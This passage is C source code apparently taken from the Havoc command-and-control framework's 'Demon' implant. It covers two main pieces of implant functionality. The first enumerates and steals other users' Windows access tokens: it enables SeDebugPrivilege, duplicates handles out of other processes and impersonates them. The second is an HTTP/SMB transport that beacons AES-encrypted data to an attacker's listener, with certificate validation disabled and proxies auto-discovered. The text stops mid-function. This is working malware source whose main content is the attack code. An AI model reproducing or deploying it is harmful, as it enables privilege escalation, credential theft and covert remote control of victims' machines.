TODO: while unlikely, this could overflow StringCopyW( Tokens[ *NumTokens ].username, NewToken->username ); Tokens[ *NumTokens ].dwProcessID = NewToken->dwProcessID; Tokens[ *NumTokens ].localHandle = NewToken->localHandle; Tokens[ *NumTokens ].impersonation_level = NewToken->impersonation_level; Tokens[ *NumTokens ].TokenType = NewToken->TokenType; Tokens[ *NumTokens ].integrity_level = NewToken->integrity_level; (*NumTokens)++; } BOOL IsImpersonationToken( HANDLE token ) { HANDLE temp_token = NULL; BOOL ReturnValue = FALSE; LPVOID TokenImpersonationInfo = NULL; DWORD returned_tokinfo_length = 0; TokenImpersonationInfo = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE ); if ( ! TokenImpersonationInfo ) return FALSE; if ( Instance->Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) ) { if ( *( ( SECURITY_IMPERSONATION_LEVEL* ) TokenImpersonationInfo ) >= SecurityImpersonation ) ReturnValue = TRUE; else ReturnValue = FALSE; } else { ReturnValue = TokenDuplicate( token, TOKEN_ALL_ACCESS, SecurityImpersonation, TokenImpersonation, &temp_token ); SysNtClose( temp_token ); } if ( TokenImpersonationInfo ) Instance->Win32.LocalFree( TokenImpersonationInfo ); return ReturnValue; } // https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/list_tokens.c BOOL CanTokenBeImpersonated( IN HANDLE hToken ) { BOOL Success = FALSE; HANDLE hImp = NULL; // try to impersonate the token handle if ( ! SysImpersonateLoggedOnUser( hToken ) ) return FALSE; // try to open a handle to the current token Success = Instance->Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp ); TokenRevSelf(); if ( ! Success ) return FALSE; // make sure the token kept the impersonate status Success = IsImpersonationToken( hImp ); SysNtClose( hImp ); if ( ! Success ) return FALSE; return TRUE; } VOID ProcessUserToken( IN HANDLE hToken, IN DWORD ProcessId, IN HANDLE handle, IN BOOL CheckUsername, IN PBUFFER CurrentUser, _Inout_ PUSER_TOKEN_DATA Tokens, _Inout_ PDWORD NumTokens) { USER_TOKEN_DATA NewToken = { 0 }; DWORD TokenType = 0; DWORD Integrity = 0; DWORD ImpersonationLevel = 0; BUFFER UserDomain = { 0 }; // get the type, integrity and impersonation level for this token if ( GetTokenInfo( hToken, &TokenType, &Integrity, &ImpersonationLevel, &UserDomain ) ) { // make sure the token can be impersonated if ( TokenType == TokenPrimary || ImpersonationLevel == SecurityImpersonation || ImpersonationLevel == SecurityDelegation) { // we avoid tokens from our own user as they are not relevant if ( IsNotCurrentUser( CheckUsername, CurrentUser, &UserDomain ) ) { if ( CanTokenBeImpersonated( hToken ) ) { // create a new token structure and store it StringCopyW( NewToken.username, UserDomain.Buffer ); NewToken.dwProcessID = ProcessId; NewToken.localHandle = handle; NewToken.integrity_level = Integrity; NewToken.impersonation_level = ImpersonationLevel; NewToken.TokenType = TokenType; // save the new token (if we don't already have one like it) AddUserToken(&NewToken, Tokens, NumTokens ); } } } DATA_FREE( UserDomain.Buffer, UserDomain.Length ); } } // call NtQueryObject with ObjectTypesInformation BOOL QueryObjectTypesInfo( POBJECT_TYPES_INFORMATION* pObjectTypes, PULONG pObjectTypesSize ) { NTSTATUS status = STATUS_UNSUCCESSFUL; ULONG BufferLength = 0x1000; ULONG PrevBufferLength = BufferLength; POBJECT_TYPES_INFORMATION ObjTypeInformation = NULL; do { PrevBufferLength = BufferLength; ObjTypeInformation = Instance->Win32.LocalAlloc( LPTR, BufferLength ); status = SysNtQueryObject( NULL, ObjectTypesInformation, ObjTypeInformation, BufferLength, &BufferLength); if ( NT_SUCCESS( status ) ) { *pObjectTypes = ObjTypeInformation; *pObjectTypesSize = BufferLength; return TRUE; } DATA_FREE( ObjTypeInformation, PrevBufferLength ); } while (status == STATUS_INFO_LENGTH_MISMATCH); return FALSE; } // get index of object type 'Token' BOOL GetTypeIndexToken( OUT PULONG TokenTypeIndex ) { BOOL ret_val = FALSE; BOOL success = FALSE; POBJECT_TYPES_INFORMATION ObjectTypes = NULL; POBJECT_TYPE_INFORMATION_V2 CurrentType = NULL; ULONG ObjectTypesSize = 0; success = QueryObjectTypesInfo( &ObjectTypes, &ObjectTypesSize); if (!success) goto cleanup; CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_FIRST_ENTRY( ObjectTypes ); for (ULONG i = 0; i < ObjectTypes->NumberOfTypes && CurrentType; i++) { if ( CurrentType->TypeName.Buffer && CurrentType->TypeName.Length == 10 && CurrentType->TypeName.Buffer[0] == L'T' && CurrentType->TypeName.Buffer[1] == L'o' && CurrentType->TypeName.Buffer[2] == L'k' && CurrentType->TypeName.Buffer[3] == L'e' && CurrentType->TypeName.Buffer[4] == L'n' ) { *TokenTypeIndex = i + 2; ret_val = TRUE; break; } CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_NEXT_ENTRY( CurrentType ); } cleanup: DATA_FREE( ObjectTypes, ObjectTypesSize ); return ret_val; } BOOL GetTokenInfo( IN HANDLE hToken, OUT PDWORD pTokenType, OUT PDWORD pIntegrity, OUT PDWORD pImpersonationLevel, OUT PBUFFER UserDomain) { BOOL ReturnValue = FALSE; DWORD returned_tokinfo_length = 0; DWORD cbSize = 0; DWORD returned_tokimp_length = 0; PTOKEN_STATISTICS TokenStatisticsInformation = NULL; PTOKEN_MANDATORY_LABEL TokenIntegrityInformation = NULL; PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = NULL; if ( ! TokenQueryOwner( hToken, UserDomain, TOKEN_OWNER_FLAG_DEFAULT ) ) { PUTS("TokenQueryOwner failed") goto Cleanup; } Instance->Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length ); TokenStatisticsInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokinfo_length ); if ( Instance->Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) ) { // save the token type *pTokenType = TokenStatisticsInformation->TokenType; if ( TokenStatisticsInformation->TokenType == TokenPrimary ) { // get the token integrity level Instance->Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize ); TokenIntegrityInformation = Instance->Win32.LocalAlloc( LPTR, cbSize ); if ( Instance->Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) ) { *pIntegrity = *Instance->Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance->Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1)); ReturnValue = TRUE; } else { PUTS( "GetTokenInformation failed" ) } } else if (TokenStatisticsInformation->TokenType == TokenImpersonation) { // get the token impersonation level Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length ); TokenImpersonationInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokimp_length ); if ( Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) ) { *pImpersonationLevel = * ( ( SECURITY_IMPERSONATION_LEVEL * ) TokenImpersonationInformation ); ReturnValue = TRUE; } else { PUTS( "GetTokenInformation failed" ) } } } else { PUTS( "GetTokenInformation failed" ) } Cleanup: DATA_FREE( TokenStatisticsInformation,returned_tokinfo_length ); DATA_FREE( TokenIntegrityInformation,cbSize ); DATA_FREE( TokenImpersonationInformation,returned_tokimp_length ); if ( ! ReturnValue ) { DATA_FREE( UserDomain->Buffer, UserDomain->Length ); } return ReturnValue; } // check if a PID is included in the process list BOOL ProcessIsIncluded( IN PPROCESS_LIST process_list, IN ULONG ProcessId ) { for (ULONG i = 0; i < process_list->Count; i++) { if (process_list->ProcessId[i] == ProcessId) return TRUE; } return FALSE; } // obtain a list of PIDs from a handle table BOOL GetProcessesFromHandleTable( IN PSYSTEM_HANDLE_INFORMATION handleTableInformation, OUT PPROCESS_LIST* pprocess_list ) { BOOL ret_val = FALSE; PPROCESS_LIST process_list = NULL; process_list = Instance->Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) ); PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo; for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++) { handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[i]; if ( ! ProcessIsIncluded( process_list, handleInfo->UniqueProcessId ) ) { if (process_list->Count + 1 > MAX_PROCESSES) { PUTS("Too many processes, please increase MAX_PROCESSES"); goto cleanup; } process_list->ProcessId[process_list->Count++] = handleInfo->UniqueProcessId; } } *pprocess_list = process_list; ret_val = TRUE; cleanup: if ( ! ret_val && process_list ) { DATA_FREE(process_list, sizeof(PROCESS_LIST)); } return ret_val; } // get all handles in the system BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG phandle_table_size ) { BOOL ret_val = FALSE; NTSTATUS status = STATUS_UNSUCCESSFUL; ULONG buffer_size = sizeof(SYSTEM_HANDLE_INFORMATION); ULONG prev_buffer_size = buffer_size; PVOID handleTableInformation = NULL; handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size ); while (TRUE) { //get information of all the existing handles status = SysNtQuerySystemInformation( SystemHandleInformation, handleTableInformation, buffer_size, &buffer_size); if ( status == STATUS_INFO_LENGTH_MISMATCH ) { // the buffer was too small, buffer_size now has the new length DATA_FREE( handleTableInformation, prev_buffer_size ); prev_buffer_size = buffer_size; handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size ); continue; } if ( ! NT_SUCCESS( status ) ) goto cleanup; break; } *phandle_table = (PSYSTEM_HANDLE_INFORMATION)handleTableInformation; *phandle_table_size = buffer_size; ret_val = TRUE; cleanup: if ( ! ret_val && handleTableInformation ) { DATA_FREE( handleTableInformation, buffer_size ); } return ret_val; } /* When finding tokens, we are ignoring tokens from the current user as they don't matter much */ BOOL IsNotCurrentUser( BOOL DoCheck, PBUFFER UserA, PBUFFER UserB ) { if ( DoCheck && ! StringCompareW( UserA->Buffer, UserB->Buffer ) ) return FALSE; return TRUE; } BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens ) { BOOL ReturnValue = FALSE; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; HANDLE hProcess = NULL; HANDLE hToken = NULL; CLIENT_ID ProcID = { 0 }; OBJECT_ATTRIBUTES ObjAttr = { sizeof( ObjAttr ) }; PUSER_TOKEN_DATA Tokens = NULL; DWORD NumTokens = 0; ULONG TokenTypeIndex = 0; PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL; ULONG handleTableInformationSize = 0; PPROCESS_LIST ProcessList = NULL; ULONG ProcessId = 0; BUFFER CurrentUser = { 0 }; HANDLE hOwnToken = NULL; BOOL CheckUsername = FALSE; PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = NULL; // try to get our own username, so we can avoid our own tokens if ( ( hOwnToken = TokenCurrentHandle() ) ) { if ( TokenQueryOwner( hOwnToken, &CurrentUser, TOKEN_OWNER_FLAG_DEFAULT ) ) { CheckUsername = TRUE; } SysNtClose( hOwnToken ); hOwnToken = NULL; } TokenSetSeDebugPriv( TRUE ); // get the index of the object type 'Token' if ( ! GetTypeIndexToken( &TokenTypeIndex ) ) goto Cleanup; // get the entire handle table if ( ! GetAllHandles( &handleTableInformation, &handleTableInformationSize ) ) goto Cleanup; // obtain all PIDs from the handle table if ( ! GetProcessesFromHandleTable( handleTableInformation, &ProcessList ) ) goto Cleanup; // allocate the USER_TOKEN_DATA table Tokens = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) ); if ( ! Tokens ) goto Cleanup; // loop over each ProcessId for ( ULONG i = 0; i < ProcessList->Count; i++ ) { ProcessId = ProcessList->ProcessId[i]; if ( ProcessId == Instance->Session.PID ) continue; if ( ProcessId == 0 ) continue; if ( ProcessId == 4 ) continue; // open a handle to the process hProcess = ProcessOpen( ProcessId, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE ); if ( ! hProcess ) continue; // loop over each handle from this process for ( ULONG j = 0; j < handleTableInformation->NumberOfHandles; j++ ) { handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handles[j]; // make sure this handle is from the current ProcessId if ( handleInfo->UniqueProcessId != ProcessId ) continue; // make sure the handle is of type 'Token' if ( handleInfo->ObjectTypeIndex != TokenTypeIndex ) continue; // duplicate the token hToken = NULL; NtStatus = SysNtDuplicateObject( hProcess, (HANDLE)(DWORD_PTR)handleInfo->HandleValue, NtCurrentProcess(), &hToken, 0, 0, DUPLICATE_SAME_ACCESS); if ( NT_SUCCESS( NtStatus ) ) { ProcessUserToken( hToken, ProcessId, (HANDLE)(DWORD_PTR)handleInfo->HandleValue, CheckUsername, &CurrentUser, Tokens, &NumTokens ); SysNtClose( hToken ); hToken = NULL; } } // Also process primary tokens NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken ); if ( NT_SUCCESS( NtStatus ) ) { ProcessUserToken( hToken, ProcessId, NULL, CheckUsername, &CurrentUser, Tokens, &NumTokens ); SysNtClose( hToken ); hToken = NULL; } SysNtClose( hProcess ); hProcess = NULL; } *pTokens = Tokens; *pNumTokens = NumTokens; ReturnValue = TRUE; Cleanup: if ( ! ReturnValue && Tokens ) { DATA_FREE( Tokens, NumTokens * sizeof( USER_TOKEN_DATA ) ); } DATA_FREE( handleTableInformation, handleTableInformationSize ); DATA_FREE( ProcessList, sizeof( PROCESS_LIST ) ) DATA_FREE( CurrentUser.Buffer, CurrentUser.Length ); return ReturnValue; } BOOL ImpersonateTokenFromVault( IN DWORD TokenID ) { PTOKEN_LIST_DATA TokenData = NULL; BOOL Success = FALSE; TokenData = TokenGet( TokenID ); if ( ! TokenData ) { PUTS( "Token not found in vault." ) PackageTransmitError( CALLBACK_ERROR_TOKEN, 0x1 ); goto Cleanup; } if ( ! ImpersonateTokenInStore( TokenData ) ) goto Cleanup; Success = TRUE; Cleanup: return Success; } // https://doxygen.reactos.org/d1/d72/dll_2win32_2advapi32_2sec_2misc_8c_source.html#l00152 BOOL SysImpersonateLoggedOnUser( HANDLE hToken ) { SECURITY_QUALITY_OF_SERVICE Qos = { 0 }; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; HANDLE NewToken = NULL; TOKEN_TYPE Type = 0; ULONG ReturnLength = 0; BOOL Duplicated = FALSE; NTSTATUS Status = STATUS_UNSUCCESSFUL; /* Get the token type */ Status = SysNtQueryInformationToken( hToken, TokenType, &Type, sizeof(TOKEN_TYPE), &ReturnLength); if ( ! NT_SUCCESS( Status ) ) { PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) ); return FALSE; } if (Type == TokenPrimary) { /* Create a duplicate impersonation token */ Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE); Qos.ImpersonationLevel = SecurityImpersonation; Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; Qos.EffectiveOnly = FALSE; ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); ObjectAttributes.RootDirectory = NULL; ObjectAttributes.ObjectName = NULL; ObjectAttributes.Attributes = 0; ObjectAttributes.SecurityDescriptor = NULL; ObjectAttributes.SecurityQualityOfService = &Qos; Status = SysNtDuplicateToken( hToken, TOKEN_IMPERSONATE | TOKEN_QUERY, &ObjectAttributes, FALSE, TokenImpersonation, &NewToken); if ( ! NT_SUCCESS( Status ) ) { return FALSE; } Duplicated = TRUE; } else { /* User the original impersonation token */ NewToken = hToken; Duplicated = FALSE; } /* Impersonate the the current thread */ Status = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &NewToken, sizeof(HANDLE)); if (Duplicated != FALSE) { SysNtClose(NewToken); } if ( ! NT_SUCCESS( Status ) ) { PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) ); return FALSE; } return TRUE; } BOOL ImpersonateTokenInStore( IN PTOKEN_LIST_DATA TokenData ) { BOOL Success = FALSE; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; if ( ! TokenData ) { goto Cleanup; } /* if we are already impersonating the selected token, do nothing */ if ( Instance->Tokens.Impersonate && TokenData->Handle == Instance->Tokens.Token->Handle ) { return TRUE; } if ( ! TokenSetSeDebugPriv( TRUE ) ) { PUTS( "Could not enable SE_DEBUG_NAME privilege." ) goto Cleanup; } if ( ! TokenRevSelf() ) { PACKAGE_ERROR_WIN32 goto Cleanup; } if ( SysImpersonateLoggedOnUser( TokenData->Handle ) ) { Instance->Tokens.Impersonate = TRUE; Instance->Tokens.Token = TokenData; PRINTF( "[+] Successfully impersonated: %ls\n", TokenData->DomainUser ); } else { Instance->Tokens.Impersonate = FALSE; Instance->Tokens.Token = NULL; PRINTF( "[!] Failed to impersonate token user: %ls\n", TokenData->DomainUser ); PACKAGE_ERROR_WIN32 if ( ! TokenRevSelf() ) { PACKAGE_ERROR_WIN32 } goto Cleanup; } Success = TRUE; Cleanup: return Success; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Transport.c000066400000000000000000000040541467014221700240270ustar00rootroot00000000000000#include #include #include #include #include #include #include #include BOOL TransportInit( ) { PUTS_DONT_SEND( "Connecting to listener" ) PVOID Data = NULL; SIZE_T Size = 0; BOOL Success = FALSE; /* Sends to our connection (direct/pivot) */ #ifdef TRANSPORT_HTTP if ( PackageTransmitNow( Instance->MetaData, &Data, &Size ) ) { AESCTX AesCtx = { 0 }; /* Decrypt what we got */ AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Data, Size ); if ( Data ) { if ( ( UINT32 ) Instance->Session.AgentID == ( UINT32 ) DEREF( Data ) ) { Instance->Session.Connected = TRUE; Success = TRUE; } } } #endif #ifdef TRANSPORT_SMB if ( PackageTransmitNow( Instance->MetaData, NULL, NULL ) == TRUE ) { Instance->Session.Connected = TRUE; Success = TRUE; } #endif return Success; } BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize ) { BUFFER Send = { 0 }; BUFFER Resp = { 0 }; Send.Buffer = Data; Send.Length = Size; #ifdef TRANSPORT_HTTP if ( HttpSend( &Send, &Resp ) ) { if ( RecvData ) *RecvData = Resp.Buffer; if ( RecvSize ) *RecvSize = Resp.Length; return TRUE; } #endif #ifdef TRANSPORT_SMB if ( SmbSend( &Send ) ) { return TRUE; } #endif return FALSE; } #ifdef TRANSPORT_SMB BOOL SMBGetJob( PVOID* RecvData, PSIZE_T RecvSize ) { BUFFER Resp = { 0 }; if ( RecvData ) *RecvData = NULL; if ( RecvSize ) *RecvSize = 0; if ( SmbRecv( &Resp ) ) { if ( RecvData ) *RecvData = Resp.Buffer; if ( RecvSize ) *RecvSize = Resp.Length; return TRUE; } return FALSE; } #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/TransportHttp.c000066400000000000000000000445521467014221700246760ustar00rootroot00000000000000#include #include #include #ifdef TRANSPORT_HTTP /*! * @brief * send a http request * * @param Send * buffer to send * * @param Resp * buffer response * * @return * if successful send request */ BOOL HttpSend( _In_ PBUFFER Send, _Out_opt_ PBUFFER Resp ) { HANDLE Connect = { 0 }; HANDLE Request = { 0 }; LPWSTR HttpHeader = { 0 }; LPWSTR HttpEndpoint = { 0 }; DWORD HttpFlags = { 0 }; LPCWSTR HttpProxy = { 0 }; PWSTR HttpScheme = { 0 }; DWORD Counter = { 0 }; DWORD Iterator = { 0 }; DWORD BufRead = { 0 }; UCHAR Buffer[ 1024 ] = { 0 }; PVOID RespBuffer = { 0 }; SIZE_T RespSize = { 0 }; BOOL Successful = { 0 }; WINHTTP_PROXY_INFO ProxyInfo = { 0 }; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig = { 0 }; WINHTTP_AUTOPROXY_OPTIONS AutoProxyOptions = { 0 }; /* we might impersonate a token that lets WinHttpOpen return an Error 5 (ERROR_ACCESS_DENIED) */ TokenImpersonate( FALSE ); /* if we don't have any more hosts left, then exit */ if ( ! Instance->Config.Transport.Host ) { PUTS_DONT_SEND( "No hosts left to use... exit now." ) CommandExit( NULL ); } if ( ! Instance->hHttpSession ) { if ( Instance->Config.Transport.Proxy.Enabled ) { // Use preconfigured proxy HttpProxy = Instance->Config.Transport.Proxy.Url; /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent, HttpProxy ) */ Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 ); } else { // Autodetect proxy settings /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent ) */ Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); } if ( ! Instance->hHttpSession ) { PRINTF_DONT_SEND( "WinHttpOpen: Failed => %d\n", NtGetLastError() ) goto LEAVE; } } /* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) */ if ( ! ( Connect = Instance->Win32.WinHttpConnect( Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port, 0 ) ) ) { PRINTF_DONT_SEND( "WinHttpConnect: Failed => %d\n", NtGetLastError() ) goto LEAVE; } while ( TRUE ) { if ( ! Instance->Config.Transport.Uris[ Counter ] ) { break; } else { Counter++; } } HttpEndpoint = Instance->Config.Transport.Uris[ RandomNumber32() % Counter ]; HttpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; if ( Instance->Config.Transport.Secure ) { HttpFlags |= WINHTTP_FLAG_SECURE; } /* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance->Config.Transport.Method, HttpEndpoint, HttpFlags ) */ if ( ! ( Request = Instance->Win32.WinHttpOpenRequest( Connect, Instance->Config.Transport.Method, HttpEndpoint, NULL, NULL, NULL, HttpFlags ) ) ) { PRINTF_DONT_SEND( "WinHttpOpenRequest: Failed => %d\n", NtGetLastError() ) goto LEAVE; } if ( Instance->Config.Transport.Secure ) { HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } } /* Add our headers */ do { HttpHeader = Instance->Config.Transport.Headers[ Iterator ]; if ( ! HttpHeader ) break; if ( ! Instance->Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) { PRINTF_DONT_SEND( "Failed to add header: %ls", HttpHeader ) } Iterator++; } while ( TRUE ); if ( Instance->Config.Transport.Proxy.Enabled ) { // Use preconfigured proxy ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxy = Instance->Config.Transport.Proxy.Url; if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } if ( Instance->Config.Transport.Proxy.Username ) { if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY_USERNAME, Instance->Config.Transport.Proxy.Username, StringLengthW( Instance->Config.Transport.Proxy.Username ) ) ) { PRINTF_DONT_SEND( "Failed to set proxy username %u", NtGetLastError() ); } } if ( Instance->Config.Transport.Proxy.Password ) { if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY_PASSWORD, Instance->Config.Transport.Proxy.Password, StringLengthW( Instance->Config.Transport.Proxy.Password ) ) ) { PRINTF_DONT_SEND( "Failed to set proxy password %u", NtGetLastError() ); } } } else if ( ! Instance->LookedForProxy ) { // Autodetect proxy settings using the Web Proxy Auto-Discovery (WPAD) protocol /* * NOTE: We use WinHttpGetProxyForUrl as the first option because * WinHttpGetIEProxyConfigForCurrentUser can fail with certain users * and also the documentation states that WinHttpGetIEProxyConfigForCurrentUser * "can be used as a fall-back mechanism" so we are using it that way */ AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; AutoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; AutoProxyOptions.lpszAutoConfigUrl = NULL; AutoProxyOptions.lpvReserved = NULL; AutoProxyOptions.dwReserved = 0; AutoProxyOptions.fAutoLogonIfChallenged = TRUE; if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); } else { // WinHttpGetProxyForUrl failed, use WinHttpGetIEProxyConfigForCurrentUser as fall-back if ( Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) { if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) { // IE is set to "use a proxy server" ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxy = ProxyConfig.lpszProxy; ProxyInfo.lpszProxyBypass = ProxyConfig.lpszProxyBypass; PRINTF_DONT_SEND( "Using IE proxy %ls\n", ProxyInfo.lpszProxy ); Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); // don't cleanup these values ProxyConfig.lpszProxy = NULL; ProxyConfig.lpszProxyBypass = NULL; } else if ( ProxyConfig.lpszAutoConfigUrl != NULL && StringLengthW( ProxyConfig.lpszAutoConfigUrl ) != 0 ) { // IE is set to "Use automatic proxy configuration" AutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; AutoProxyOptions.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl; AutoProxyOptions.dwAutoDetectFlags = 0; PRINTF_DONT_SEND( "Trying to discover the proxy config via the config url %ls\n", AutoProxyOptions.lpszAutoConfigUrl ); if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); } } else { // IE is set to "automatically detect settings" // ignore this as we already tried } } } Instance->LookedForProxy = TRUE; } if ( Instance->ProxyForUrl ) { if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } } /* Send package to our listener */ if ( Instance->Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) { if ( Instance->Win32.WinHttpReceiveResponse( Request, NULL ) ) { /* Is the server recognizing us ? are we good ? */ if ( HttpQueryStatus( Request ) != HTTP_STATUS_OK ) { PUTS_DONT_SEND( "HttpQueryStatus Failed: Is not HTTP_STATUS_OK (200)" ) Successful = FALSE; goto LEAVE; } if ( Resp ) { RespBuffer = NULL; // // read the entire response into the Resp BUFFER // do { Successful = Instance->Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead ); if ( ! Successful || BufRead == 0 ) { break; } if ( ! RespBuffer ) { RespBuffer = Instance->Win32.LocalAlloc( LPTR, BufRead ); } else { RespBuffer = Instance->Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT ); } RespSize += BufRead; MemCopy( RespBuffer + ( RespSize - BufRead ), Buffer, BufRead ); MemSet( Buffer, 0, sizeof( 